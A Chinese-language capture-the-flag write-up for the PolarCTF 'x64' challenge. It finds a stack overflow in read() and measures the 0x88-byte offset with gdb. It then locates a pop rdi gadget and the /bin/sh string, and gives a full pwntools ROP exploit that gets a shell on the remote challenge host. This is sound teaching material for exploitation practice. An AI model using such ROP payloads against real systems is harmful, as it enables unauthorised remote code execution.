【PolarCTF】x64

先检查下,发现是64位的程序

IDA分析程序

这里很明显read函数存在溢出

然后可以看到后面函数Shell

同时也可以找到/bin/sh字符串

这里我们可以通过IDA查找

攻击思路如下:

复制代码
填充垃圾数据

pop_rdi_ret将/bin/sh传递到rdi中

执行Shell函数

获得shell

gdb调试程序

将cyclic的字符输入到程序中,然后我们可以通过

复制代码
x rbp

或者

复制代码
info registers rbp

可以看到堆底里面的内容

通过计算可以看到距离rbp的距离为128(十进制)

128转为十六进制,可以看到就是0x80,和IDA分析的结果是一样的

因为还要覆盖返回地址,因此填充0x80个字节+0x8个字节

除了上面的方法找Shell函数地址、/bin/sh字符地址

还可以通过objdump查找shell函数地址

通过ROPgadget 查找可以传递给rdi的pop_ret,pop_rdi_ret的地址为0x4007e3

我们也可以使用ROPgadget来查找/bin/sh地址,可以看到/bin/sh的地址为0x601060

bin/sh的地址为0x601060

pop_rdi_ret的地址为0x4007e3

Shell函数的地址0x4006b6

payload如下

python 复制代码
from pwn import *

io = remote('1.95.36.136',2065)

system_addr = 0x4006b6

sh_addr = 0x601060

pop_rdi = 0x4007e3

padding = 0x80+0x8

payload = b'A'*padding
payload += p64(pop_rdi)
payload += p64(sh_addr)
payload += p64(system_addr)

io.sendline(payload)
io.interactive()
相关推荐
一名优秀的码农4 小时前
vulhub系列-69-Keyring(超详细)
安全·web安全·网络安全·网络攻击模型·安全威胁分析
Chengbei116 小时前
2026护网HVV面试看这篇就够了!真题+技巧+培训福利一站式get
网络·安全·web安全·网络安全·面试·职场和发展·安全架构
深邃-7 小时前
【Web安全】-基础环境安装:Miniconda,Python环境安装,PHP环境安装(2)
python·计算机网络·安全·web安全·网络安全·系统安全·php
极客小云7 小时前
【AiCodeAudit 2.0 发布:基于调用图与局部子图的 AI 代码安全审计平台】
人工智能·网络安全·语言模型·大模型·github·安全性测试·代码复审
TechWayfarer15 小时前
知乎/微博的IP属地显示为什么偶尔错误?用IP归属地查询平台自检工具3步验证
网络·python·网络协议·tcp/ip·网络安全
2401_8734794017 小时前
应急响应:勒索软件攻击源IP分析,如何通过IP地址查询定位辅助溯源?
网络·tcp/ip·安全·网络安全·ip
сокол1 天前
【网安-等保评测-基础记录】网络安全等级保护2.0 详解(定级、备案、测评、整改一站式指南)
网络·笔记·网络安全·云计算
pencek1 天前
HakcMyVM-Liceo
网络安全
探索宇宙真理.1 天前
Nginx UI MCP接口绕过认证漏洞 | CVE-2026-33032复现&研究
运维·经验分享·网络安全·nginx-ui